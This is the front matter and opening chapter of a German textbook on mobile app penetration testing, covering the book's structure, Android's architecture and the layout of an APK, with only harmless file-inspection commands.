Mobile Hacking

11.07.2018 Aufrufe

Dr.-Ing. Michael Spreitzenbarth studierte Wirtschaftsinformatik<br />

an der Universität Mannheim mit Schwerpunkt in<br />

den Bereichen IT-Security und Digitale Forensik. Zwischen<br />

2010 und 2013 arbeitete er als Doktorand an der Universität<br />

Erlangen-Nürnberg. Seine Forschungsthemen lagen in<br />

den Bereichen der forensischen Analyse von Smartphones<br />

(speziell im Bereich Android) sowie im Bereich der Detektion<br />

und automatisierten Analyse von mobilem Schadcode<br />

(Malware). Seit April 2013 arbeitet er in einem weltweit operierenden<br />

CERT, wo sein Fokus auf der Absicherung mobiler<br />

Endgeräte, Incident Handling und der Analyse verdächtiger<br />

mobiler Applikationen liegt. In seiner Freizeit arbeitet Michael<br />

Spreitzenbarth immer noch im Bereich der Forschung<br />

und Entwicklung von Malware-Analyse- und Detektionstechniken<br />

sowie digitaler Forensik. Zusätzlich hält er regelmäßig<br />

Vorträge und Schulungen zu diesen Themen in der<br />

freien Wirtschaft sowie für öffentliche Auftraggeber.


Michael Spreitzenbarth<br />

<strong>Mobile</strong> <strong>Hacking</strong><br />

Ein kompakter Einstieg ins<br />

Penetration Testing mobiler Applikationen –<br />

iOS, Android und Windows <strong>Mobile</strong>


Michael Spreitzenbarth<br />

Lektorat: René Schönfeldt<br />

Lektoratsassistenz: Stefanie Weidner<br />

Projektkoordination: Miriam Metsch<br />

Copy-Editing: Ursula Zimpfer<br />

Satz: Da-TeX, www.da-tex.com<br />

Herstellung: Susanne Bröckelmann<br />

Umschlaggestaltung: Helmut Kraus, www.exclam.de<br />

Druck und Bindung: M.P. Media-Print Informationstechnologie GmbH, 33100 Paderborn<br />

Bibliografische Information der Deutschen Nationalbibliothek<br />

Die Deutsche Nationalbibliothek verzeichnet diese Publikation in der Deutschen Nationalbibliografie;<br />

detaillierte bibliografische Daten sind im Internet über http://dnb.d-nb.de abrufbar.<br />

ISBN:<br />

Print 978-3-86490-348-9<br />

PDF 978-3-96088-124-7<br />

ePub 978-3-96088-125-4<br />

mobi 978-3-96088-126-1<br />

1. Auflage 2017<br />

Copyright © 2017 dpunkt.verlag GmbH<br />

Wieblinger Weg 17<br />

69123 Heidelberg<br />

Die vorliegende Publikation ist urheberrechtlich geschützt. Alle Rechte vorbehalten. Die Verwendung<br />

der Texte und Abbildungen, auch auszugsweise, ist ohne die schriftliche Zustimmung des Verlags<br />

urheberrechtswidrig und daher strafbar. Dies gilt insbesondere für die Vervielfältigung, Übersetzung<br />

oder die Verwendung in elektronischen Systemen.<br />

Es wird darauf hingewiesen, dass die im Buch verwendeten Soft- und Hardware-Bezeichnungen sowie<br />

Markennamen und Produktbezeichnungen der jeweiligen Firmen im Allgemeinen warenzeichen-,<br />

marken- oder patentrechtlichem Schutz unterliegen.<br />

Alle Angaben und Programme in diesem Buch wurden mit größter Sorgfalt kontrolliert. Weder Autor<br />

noch -Verlag können jedoch für Schäden haftbar gemacht werden, die in Zusammenhang mit der<br />

Verwendung dieses Buches stehen.<br />

5 4 3 2 1 0


v<br />

Vorwort<br />

Der Marktanteil von Smartphones und Tablets wächst signifikant im Gegensatz<br />

zu herkömmlichen PCs und hält auch in immer mehr Unternehmen Einzug. Diese<br />

Geräte haben einen enormen Funktionsumfang und werden schon lange nicht<br />

mehr nur zum Telefonieren verwendet. Dies bietet jedoch nicht nur neue Möglichkeiten<br />

für den Einzelnen sowie viele Firmen, sondern birgt auch ein hohes<br />

Maß an Gefahren und Risiken in sich.<br />

Wenn Sie sich schon immer gefragt haben, was die Applikationen auf Ihrem<br />

Smartphone so alles im Hintergrund machen und ob die verarbeiteten Daten auch<br />

wirklich sicher abgelegt und übertragen werden, dann ist dieses Buch genau das<br />

Richtige für Sie!<br />

Im Rahmen des Buches wird Ihnen anhand von ausführlichen Beispielen gezeigt,<br />

warum es sinnvoll für Unternehmen – aber auch für Privatpersonen mit<br />

einem Bewusstsein für das Schützenswerte – ist, nicht auf die Versprechen der<br />

Hersteller mobiler Apps zu hören, sondern selbst zu prüfen, ob Applikationen<br />

den eigenen Ansprüchen und Vorgaben entsprechen. Sie erfahren, welche Open-<br />

Source-Tools es auf dem Markt gibt und wofür man sie einsetzen kann. Dabei<br />

ist immer zu bedenken, dass dies nur eine Auswahl an Tools ist und keinesfalls<br />

den Anspruch auf Vollständigkeit erheben soll. Nach der Analyse einiger Apps<br />

hat jeder Analyst seine eigene Sammlung an Werkzeugen und Vorgehensweisen,<br />

auf die er bei der täglichen Arbeit zurückgreift.<br />

Dabei stehen unter anderem folgende Fragestellungen im Vordergrund:<br />

■<br />

■<br />

■<br />

■<br />

Was sind die wichtigsten Komponenten der einzelnen mobilen Betriebssysteme?<br />

Wie können Sie prüfen, ob Daten einer App auch bei Verlust bzw. Diebstahl<br />

eines mobilen Endgerätes weiterhin geschützt sind?<br />

Wie können Sie feststellen, ob Daten bei der Übertragung ausreichend geschützt<br />

sind?<br />

Welche Schwachstellen sind für Angreifer besonders interessant?<br />

Dieses Buch kann man als Leser auf verschiedene Weisen angehen, die in Abbildung<br />

1 aufgezeigt sind. Hierbei werden in den ersten beiden Kapiteln die Grundlagen<br />

geschaffen, um einem Leser, der bisher keine Erfahrungen mit mobilen Be-


vi<br />

Vorwort<br />

triebssystemen oder dem Reversing gesammelt hat, den Einstieg zu ermöglichen.<br />

Danach gibt es immer einen »Doppelpack« an Kapiteln, der sich mit der statischen<br />

Analyse von Apps einer bestimmten Plattform befasst und sich der anschließenden<br />

Suche nach Sicherheitsproblemen widmet. Dies alles wird wieder in<br />

Kapitel 9 zusammengeführt, das die Analyse der Datenübertragung als Schwerpunkt<br />

hat, die auf allen Systemen nahezu identisch abläuft und deshalb an dieser<br />

Stelle auch übergreifend zusammengefasst ist. Den Schluss des Buches bildet ein<br />

kurzes Kapitel, das dem Leser Hinweise zu Übungen gibt, die er nun selbst in Angriff<br />

nehmen kann, und weitere Werkzeuge und vertiefenden Lesestoff vorschlägt.<br />

Dr. Michael Spreitzenbarth<br />

Android<br />

Reversing<br />

Android<br />

App-Sicherheit<br />

Einführung<br />

Chancen und<br />

Risiken des<br />

Reversings<br />

iOS<br />

Reversing<br />

iOS<br />

App-Sicherheit<br />

Angriffe auf die<br />

Datenübertragung<br />

Wie geht die<br />

Reise weiter?<br />

Win10<strong>Mobile</strong><br />

Reversing<br />

Win10<strong>Mobile</strong><br />

App-Sicherheit<br />

Abb. 1: Mögliche Wege für den Leser durch dieses Buch


vii<br />

Danksagung<br />

Dieses Buchprojekt wäre ohne die Unterstützung anderer nur schwer umsetzbar<br />

gewesen. Aus diesem Grund möchte ich einigen dieser Personen auf diesem Wege<br />

meinen Dank aussprechen.<br />

Zuerst möchte ich Andreas Kurtz und Siegfried Rasthofer danken, die mir<br />

sehr guten Input für dieses Buch gegeben und auf einige hilfreiche Tools und<br />

Beispiele aufmerksam gemacht haben.<br />

Ebenso möchte ich aber auch den vielen Autoren und Entwicklern aus der<br />

Open-Source-Community danken, die zahllose Stunden in die Verbesserung und<br />

Entwicklung neuer Werkzeuge gesteckt haben. Ohne diese Arbeit wären wir heute<br />

nicht in der Lage, solche Assessments durchführen zu können.<br />

Mein Dank geht ebenso an den dpunkt.verlag und die anonymen Reviewer<br />

sowie an Marko Rogge, die mich gerade in der Schlussphase auf wichtige Verbesserungen<br />

am Buch aufmerksam gemacht haben.<br />

Besonderer Dank geht an meine Lebensgefährtin, die mich immer wieder<br />

motiviert und unterstützt hat, auch wenn es Zeiten gab, in denen durch dieses<br />

Buch und die tägliche Arbeit nahezu keine Freizeit mehr blieb.


ix<br />

Inhaltsverzeichnis<br />

1 Einführung in mobile Betriebssysteme und deren Applikationen . . . 1<br />

1.1 Android . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2<br />

1.2 Apple iOS . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8<br />

1.3 Windows 10 <strong>Mobile</strong> . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 18<br />

1.4 Chancen und Risiken von mobilen Applikationen . . . . . . . . . . . . . . . . . . . . . . 24<br />

1.5 OWASP <strong>Mobile</strong> Top 10 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 27<br />

1.6 Eine Laborumgebung erstellen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 31<br />

1.7 Zusammenfassung und Ausblick . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 37<br />

2 Chancen und Risiken des Reversings . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39<br />

2.1 Statische Analyse (Reversing) . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 39<br />

2.2 Dynamische Analyse . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40<br />

2.3 Vergleich der beiden Techniken . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 40<br />

2.4 Schlussfolgerung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 41<br />

3 Reversing von Android-Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . 43<br />

3.1 Vorgehensweisen beim Reversing von Android-Applikationen . . . . . . . . . 43<br />

3.2 Beschaffen der zu untersuchenden Applikation . . . . . . . . . . . . . . . . . . . . . . . 44<br />

3.3 Analysieren des Android-Manifests und Entpacken der Applikation . . . . . 45<br />

3.4 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 47<br />

3.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 64<br />

4 Sicherheitsprobleme bei Android-Applikationen . . . . . . . . . . . . . . . . . 67<br />

4.1 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 67<br />

4.2 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 76<br />

4.3 Exportierte Activities erkennen und ausnutzen . . . . . . . . . . . . . . . . . . . . . . . . 83<br />

4.4 Exportierte Content Provider und SQL-Injections erkennen und ausnutzen 86<br />

4.5 Schwachstellen des JavascriptInterface erkennen und ausnutzen. . . . . . . 91<br />

4.6 Ungewollten Datenabfluss durch Verwendung der Backup-Funktion erkennen<br />

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 94<br />

4.7 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 95<br />

4.8 Android-Applikationen zur Laufzeit manipulieren . . . . . . . . . . . . . . . . . . . . . 110<br />

4.9 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 113


x<br />

Inhaltsverzeichnis<br />

5 Reversing von iOS-Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115<br />

5.1 Vorgehensweisen beim Reversing von iOS-Applikationen . . . . . . . . . . . . . . 115<br />

5.2 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 115<br />

5.3 Beschaffen der zu untersuchenden Applikation . . . . . . . . . . . . . . . . . . . . . . . 124<br />

5.4 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 127<br />

5.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 135<br />

6 Sicherheitsprobleme bei iOS-Applikationen. . . . . . . . . . . . . . . . . . . . . . 137<br />

6.1 Wichtige Tools und Helfer . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137<br />

6.2 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 146<br />

6.3 iOS-Applikationen zur Laufzeit manipulieren . . . . . . . . . . . . . . . . . . . . . . . . . . 149<br />

6.4 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 159<br />

6.5 Fehlende systemeigene Sicherheitsfunktionen in iOS-Applikationen erkennen<br />

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 171<br />

6.6 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 178<br />

7 Reversing von Windows-10-<strong>Mobile</strong>-Applikationen . . . . . . . . . . . . . . . . 179<br />

7.1 Aufbau der Windows-10-<strong>Mobile</strong>-Applikationen . . . . . . . . . . . . . . . . . . . . . . . 179<br />

7.2 Vorgehensweisen beim Reversing von Windows-10-<strong>Mobile</strong>-<br />

Applikationen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 182<br />

7.3 Werkzeuge zum Analysieren der Applikationen . . . . . . . . . . . . . . . . . . . . . . . . 183<br />

7.4 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 186<br />

8 Sicherheitsprobleme bei Windows-10-<strong>Mobile</strong>-Applikationen . . . . . . 187<br />

8.1 Analyse der Zugriffe auf sensible Nutzerdaten . . . . . . . . . . . . . . . . . . . . . . . . . 187<br />

8.2 Spurensuche im Dateisystem . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 189<br />

8.3 Fehlende Sicherheitsfunktionen in Windows-10-<strong>Mobile</strong>-Applikationen<br />

erkennen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 193<br />

8.4 Weitere Angriffsvektoren erkennen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 196<br />

8.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 197<br />

9 Angriffe auf die Datenübertragung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 199<br />

9.1 Schutz der übermittelten Daten auf dem Transportweg . . . . . . . . . . . . . . . . 199<br />

9.2 Man-in-the-Middle-Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 200<br />

9.3 SSL-Strip-Angriffe . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 209<br />

9.4 Anwendungsbeispiele und Auswertung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 210<br />

9.5 Zusammenfassung . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 213<br />

10 Wie geht die Reise weiter? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215<br />

10.1 Weitere Tools . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 215<br />

10.2 Wo kann ich üben? . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 217<br />

10.3 Wo finde ich weiterführende Informationen? . . . . . . . . . . . . . . . . . . . . . . . . . . 218


Inhaltsverzeichnis<br />

xi<br />

Literaturverzeichnis . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 219<br />

Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 221


1<br />

1 Einführung in mobile Betriebssysteme<br />

und deren Applikationen<br />

Smartphones und Tablet-PCs sind aus dem täglichen Leben von Privatpersonen<br />

ebenso wenig wegzudenken wie aus dem Alltag in Unternehmen. Diese Geräte<br />

dienen längst nicht mehr nur dem Zweck der Kommunikation, wie es mit dem<br />

Telefon vor einigen Jahren noch der Fall war. Sie werden inzwischen vielmehr<br />

dazu benutzt, Zugriff auf sensible Firmen- oder Privatnetze (z. B. per VPN) zu<br />

erhalten oder teilweise sehr sensible Daten (wie z. B. Bilder und Angebote) zu<br />

verarbeiten.<br />

Betrachtet man die Entwicklung der letzten Jahre, so sieht man, dass diese<br />

Geräte immer mehr Fähigkeiten erhalten und in immer mehr Szenarien eine Rolle<br />

spielen. Steuerung der kompletten Hauselektronik, Zugangskontrolle zu hochgesicherten<br />

Bereichen, Katastrophenfrühwarnung und der Ersatz des Notebooks in<br />

Unternehmen sind nur einige Beispiele, in denen diese Geräte und die darauf installierten<br />

Applikationen (oder kurz Apps) in Zukunft eine wichtige Rolle spielen<br />

werden.<br />

Will man für solch kritische Szenarien ein mobiles Endgerät einsetzen, so<br />

landet man nach der initialen Betrachtung der Hardware immer wieder an dem<br />

folgenden Punkt: Wie sicher ist eigentlich die Applikation selbst?<br />

Um diese Frage zu beantworten, gibt es eigentlich nur zwei mögliche Lösungsansätze:<br />

entweder Vertrauen in die Marketingfolien und -versprechen der<br />

Hersteller solcher Lösungen oder das Durchführen eigener Tests, um sicherzustellen,<br />

dass die ausgesuchte Lösung auch das leistet, was sie verspricht. Einen<br />

solchen Test nennt man Penetrationstest (oder kurz Pentest).<br />

Betrachtet man die Schlagzeilen einschlägiger Magazine oder Webseiten (und<br />

ebenfalls die Beispiele, die in diesem Buch erwähnt werden), so sieht man sehr<br />

schnell, dass die erste Option (blindes Vertrauen in die Marketingversprechen)<br />

oft der falsche Ansatz ist, wenn man erwägt, sensible Daten mit einer Applikation<br />

zu verwalten oder zu verarbeiten. Aus diesem Grund werden im Rahmen<br />

dieses Buches Wege gezeigt, wie man selbst Applikationen überprüfen und deren<br />

Schwächen ans Tageslicht bringen kann.<br />

Wir betrachten dazu ausführlich die Systeme Android und iOS, zeigen aber<br />

auch erste Einstiegspunkte in Windows Phone, da dieses System in vielen Einsatzszenarien<br />

eine immer wichtiger werdende Rolle spielt. Beginnen möchten wir


2 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

in diesem Kapitel mit der allgemeinen Einführung in die Systeme und den Aufbau<br />

ihrer Applikationen. Außerdem wird das Einrichten der Laborumgebung beschrieben,<br />

in der sich die später gezeigten Analysen durchführen lassen.<br />

1.1 Android<br />

Das Android OS, das ursprünglich für die Verwendung auf Smartphones und<br />

Tablet-PCs entwickelt wurde, findet in letzter Zeit auch immer mehr Verwendung<br />

auf Set-Top-Boxen, TVs oder als Car-Entertainment-System. Die Basis des<br />

Betriebssystems wird von der Open Handset Alliance unter der Führung von<br />

Google entwickelt und ist vollständig Open Source, lediglich die Anpassungen<br />

von Google (eigene Apps wie z. B. Google Maps und zugehörige Bibliotheken)<br />

sind nicht in ihrem Quellcode verfügbar. Die Komponenten, die das System ausmachen<br />

und auch im weiteren Verlauf des Buches von Interesse sind, werden in<br />

den folgenden Abschnitten genauer beleuchtet.<br />

1.1.1 Die Entwicklung der Android-Plattform<br />

Zu Beginn der Einführung in die Android-Plattform wird die bisherige Entwicklung<br />

der verschiedenen Android-Versionen aufgezeigt. Die gesamte zeitliche Entwicklung<br />

der Plattform, speziell deren Hauptversionen, ist in Tabelle 1–1 zusammen<br />

mit ihren Versionsnummern, Codenamen und Erscheinungsdaten dargestellt.<br />

Seit der Version 1.5 haben die Hauptversionen immer den Namen von<br />

populären US-Süßigkeiten. Dies hat sich erst durch die Kooperation mit Nestlé<br />

in Version 4.4 und dem Codenamen KitKat geändert, Google blieb zwar bei den<br />

Süßigkeiten, wechselte jedoch auf den europäischen Markt.<br />

1.1.2 Die Architektur des Betriebssystems<br />

Die Android-Architektur kann in vier verschiedene Schichten unterteilt werden:<br />

Basis der Architektur ist der Linux-Kernel, darüber liegt eine kombinierte Schicht<br />

aus Systembibliotheken und der eigentlichen Android-Laufzeitumgebung, dann<br />

folgt das Applikationsframework und als oberste Ebene die eigentlichen Applikationen<br />

(siehe Abbildung 1–1). Jede dieser vier Schichten stellt spezielle Interfaces<br />

und Systemressourcen für die darüberliegende Schicht zur Verfügung, sodass eine<br />

Interaktion zwischen den einzelnen Schichten ermöglicht wird.<br />

Der Linux-Kernel<br />

Wie auf der Abbildung 1–1 zu erkennen ist, bildet der Linux-Kernel in Version<br />

2.6.x die Basis des Android-Systems. Dieser wurde um spezielle Module erweitert,<br />

um die Hardware der Android-Geräte zu unterstützen. Zusätzlich dazu<br />

wird der Kernel für die Verwaltung der laufenden Prozesse sowie des Speichers


1.1 Android 3<br />

Version Codename API Veröffentlichung Verwendung<br />

1.0 Base 1 09/2008 s<br />

1.5 Cupcake 3 04/2009 s<br />

1.6 Donut 4 09/2009 s<br />

2.0 Eclair 5 & 6 10/2009 s<br />

2.1 Eclair 7 01/2010 s<br />

2.2 Froyo 8 05/2010 s<br />

2.3 Gingerbread 9 & 10 12/2010 s<br />

3.0 Honeycomb 11–13 02/2011 t<br />

4.0 Ice Cream Sandwich 14 & 15 10/2011 s,t<br />

4.1 Jelly Bean 16 06/2012 s,t<br />

4.2 Jelly Bean 17 11/2012 s,t<br />

4.3 Jelly Bean 18 07/2013 s,t<br />

4.4 KitKat 19 & 20 10/2013 s,t<br />

5.0 Lollipop 21 10/2014 s,t<br />

5.1 Lollipop 22 03/2015 s,t<br />

6.0 Marshmallow 23 10/2015 s,t<br />

Tab. 1–1: Liste der Android-OS-Versionen und deren Erscheinungsdatum seit der ersten offiziellen<br />

Veröffentlichung in 2008 (s = Smartphone, t = Tablet-PC)<br />

verwendet und stellt einige der Sicherheitsmechanismen bereit, die in Android<br />

implementiert sind.<br />

Prozesse mit ihrem zugehörigen Identifier (PID) sind eines der wichtigsten<br />

Konzepte des Linux-Kernels. Neben dieser PID speichert der Kernel weitere wichtige<br />

Informationen über laufende Prozesse – wie z. B. den Prozessstatus, den<br />

Thread, in dem der Prozess läuft, und Angaben darüber, welche Dateien verwendet<br />

werden (eine vollständige Liste stellt der Linux-Quellcode [10] bereit). Diese<br />

Daten werden in einer gesonderten Struktur – task_struct – abgelegt. Die PID ist<br />

im weiteren Zusammenhang sehr wichtig, da mit ihrer Hilfe während der dynamischen<br />

Analyse die Operationen den entsprechenden Applikationen zugeordnet<br />

werden können (mehr dazu in Abschnitt 4.2.1).<br />

Systembibliotheken und Laufzeitumgebung<br />

In der darüberliegenden Schicht befinden sich sie Systembibliotheken und die eigentliche<br />

Android-Laufzeitumgebung. Diese Bibliotheken sind in C bzw. C++ geschrieben<br />

und werden sowohl vom System selbst als auch von allen installierten


4 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

Google<br />

Apps<br />

Applications<br />

Third-Party<br />

Apps<br />

Package<br />

Manager<br />

Telephony<br />

Manager<br />

Manager<br />

Application Framework<br />

Content<br />

Providers<br />

Location<br />

Manager<br />

View<br />

System<br />

Webkit<br />

SSL<br />

Media<br />

Framework<br />

Core<br />

Libraries<br />

Libraries<br />

Android Runtime<br />

OpenGL<br />

libc<br />

SQLite<br />

DVM<br />

Drivers<br />

Linux Kernel<br />

Power<br />

Management<br />

Abb. 1–1: Übersicht über die Architektur des Android-Betriebssystems<br />

Apps verwendet. Die Android-Laufzeitumgebung enthält die Dalvik Virtual Machine<br />

(DVM) sowie die wichtigsten Java-Bibliotheken. Die DVM- und die Java-<br />

Bibliotheken wurden speziell an die Vorgaben eines mobilen Betriebssystems –<br />

geringer Stromverbrauch und geringe Rechenleistung – angepasst.<br />

Applikationsframework<br />

Die nächste Ebene ist das sogenannte Applikationsframework, das die Application<br />

Programming Interfaces (API) bereitstellt. Diese Ebene ist eine Art Übersetzungsschicht:<br />

Sie stellt eine hohe Anzahl an geräteabhängigen Schnittstellen zur<br />

Verfügung, die es einem Entwickler erlauben, auf alle Features des Endgerätes<br />

zuzugreifen, ohne dass er hierfür tiefere Kenntnisse der einzelnen Komponenten<br />

benötigt.<br />

Die Applikationen selbst<br />

Darüber liegen schließlich die eigentlichen Applikationen. Jede dieser installierten<br />

Applikationen ist zum großen Teil in Java geschrieben (mit optionalen eigenen Bibliotheken)<br />

und wird zur Laufzeit in einer eigenen DVM ausgeführt. Aktuell gibt<br />

es im offiziellen Google Play Store knapp über 1,6 Millionen dieser Applikationen<br />

(Apps) [16].


1.1 Android 5<br />

Android-Applikationen unterstützen auch die Verwendung von nativen Bibliotheken,<br />

die in C/C++ geschrieben sind. Sobald man jedoch die Applikation<br />

zur Verwendung auf einem Endgerät oder dem Emulator bauen lässt (z. B.<br />

durch Eclipse oder Android Studio), wird aus dem Java-Code ein in der DVM<br />

ausführbarer Bytecode, der in einer dex-Datei gespeichert wird. Dieser Bytecode<br />

unterscheidet sich an vielen Stellen von herkömmlichem Java-Bytecode, was<br />

sich dadurch auch auf die Analyse auswirkt. Zum Wichtigsten einer Android-<br />

Applikation gehört das Android-Manifest, das alle vom Nutzer abgefragten Berechtigungen<br />

sowie die zur Laufzeit nötigen Intents, Listener und Receiver enthält<br />

(mehr zu diesen Begriffen später in diesem Abschnitt). Das Android-Manifest<br />

wird zusammen mit dem DVM-Bytecode, den externen Bibliotheken und allen<br />

anderen Ressourcen, die für die Applikation benötigt werden, in eine Art ZIPbzw.<br />

JAR-Paket zusammengeschnürt. Dieses Paket hat die Dateiendung .apk und<br />

wird vom Play Store (oder jeder anderen Installationsquelle) auf das Endgerät<br />

kopiert und dort installiert.<br />

Im Allgemeinen besteht eine so paketierte Android-Applikation aus den folgenden<br />

Dateien und Verzeichnissen:<br />

■<br />

■<br />

■<br />

■<br />

■<br />

■<br />

META-INF: Verzeichnis mit folgenden Dateien:<br />

■<br />

■<br />

■<br />

MANIFEST.MF: das Manifest in kompilierter Form<br />

CERT.RSA: das Zertifikat, mit dem die Applikation signiert wurde<br />

CERT.SF: eine Liste aller Ressourcen und das SHA-1-Digest<br />

lib: Verzeichnis mit speziell für einen bestimmten Prozessor kompiliertem<br />

Code<br />

■<br />

■<br />

■<br />

■<br />

armeabi: kompilierter ARM-Code<br />

armeabi-v7a: kompilierter ARMv7-Code<br />

x86: kompilierter x86-Code<br />

mips: kompilierter MIPS-Code<br />

resources.arsc: eine Datei mit vorkompilierten Bibliotheken<br />

res: Verzeichnis mit Bibliotheken, die nicht in resources.arsc kompiliert wurden<br />

AndroidManifest.xml: ein weiteres Manifest mit wichtigen Metainformationen<br />

für die Applikation in codierter Form<br />

classes.dex: der kompilierte Java-Code der Applikation<br />

Nachfolgend ein Beispiel einer realen Applikation, wie sie aus dem Play Store<br />

geladen wurde:


6 1 Einführung in mobile Betriebssysteme und deren Applikationen<br />

$: file DEMO.apk<br />

DEMO.apk: Java Jar file data (zip)<br />

Codebeispiel 1–1: Ausgabe des file-Befehls auf eine Android-Applikation zum Bestimmen<br />

des Dateityps<br />

// die ersten 4 Byte sind bei jeder Android-Applikation 50 4b 03 04<br />

$: hexdump -C -n 64 DEMO.apk<br />

00000000 504b03040a000008 000039584f410000 |PK........9XOA..|<br />

00000010 0000000000000000 0000250005006173 |..........%...as|<br />

00000020 736574732f436f6e 6669677572617469 |sets/Configurati|<br />

00000030 6f6e732f66646173 666a6b616c616664 |ons/fdasfjkalafd|<br />

Codebeispiel 1–2: Anzeige der ersten 64 Byte einer Android-Applikation in Hex<br />

$: unzip -l DEMO . apk<br />

Archive : DEMO . apk<br />

Length Date Time Name<br />

-- -- -- -- - -- - -- -<br />

2632 05 -31 -14 11:54 res/layout / activity_line . xml<br />

1820 05 -31 -14 11:54 res/layout / activity_main . xml<br />

392 05 -31 -14 11:54 res / xml / device_admin_sample . xml<br />

5068 05 -31 -14 11:54 AndroidManifest . xml<br />

2760 05 -31 -14 11:54 resources . arsc<br />

11566 05 -31 -14 11:47 res / drawable - hdpi / lineinfo_update . png<br />

14068 05 -24 -14 19:21 res / drawable - hdpi / ic_launcher . png<br />

718628 05 -31 -14 11:50 classes .dex<br />

687 05 -31 -14 11:54 META -INF / MANIFEST .MF<br />

740 05 -31 -14 11:54 META -INF / CERT .SF<br />

1203 05 -31 -14 11:54 META - INF/CERT . RSA<br />

-- -- -- -- -- -<br />

759564 11 files<br />

Codebeispiel 1–3: Auflistung der Inhalte einer Android-Applikation<br />

Bestandteile einer Android-Applikation<br />

Wie bereits kurz erwähnt, gibt es mehrere essenzielle Bestandteile einer Android-<br />

Applikation. Neben dem gerade erwähnten Android-Manifest und den externen


1.1 Android 7<br />

Bibliotheken gibt es auch im eigentlichen Code der Applikation wichtige Bestandteile,<br />

die bei der Funktion, aber auch bei der Analyse eine wesentliche Rolle spielen.<br />

Hierzu gehören: Activities, Services, Broadcast Receiver, Shared Preferences,<br />

Intents und Content Provider. Da diese Komponenten im Folgenden sehr wichtig<br />

sind, werden sie an dieser Stelle ausführlicher beschrieben:<br />

Android-Manifest: Jede Android-Applikation besitzt eine besondere Datei, die<br />

allgemeine Informationen über die Applikation beinhaltet, wie z. B. den Namen,<br />

die SDK-Version, die eigene Versionsnummer, angeforderte Berechtigungen<br />

sowie Hard- und Softwareanforderungen. Diese Datei heißt Android-<br />

Manifest.xml oder kurz Android-Manifest. Die codierten Informationen innerhalb<br />

dieser Datei werden während der Installation vom System ausgewertet,<br />

um so dem Nutzer die Berechtigungen anzuzeigen, die er akzeptieren<br />

muss, bevor die Applikation erfolgreich installiert werden kann. Des Weiteren<br />

sind in ihr auch sämtliche Activities enthalten, die als Einstiegspunkte<br />

in die Applikation dienen können. Die »MAIN«-Activity wird dabei als Einstiegspunkt<br />

verwendet, sobald ein Nutzer die App über den Launcher oder<br />

den Homescreen startet. Zusätzlich kann man im Android-Manifest erkennen,<br />

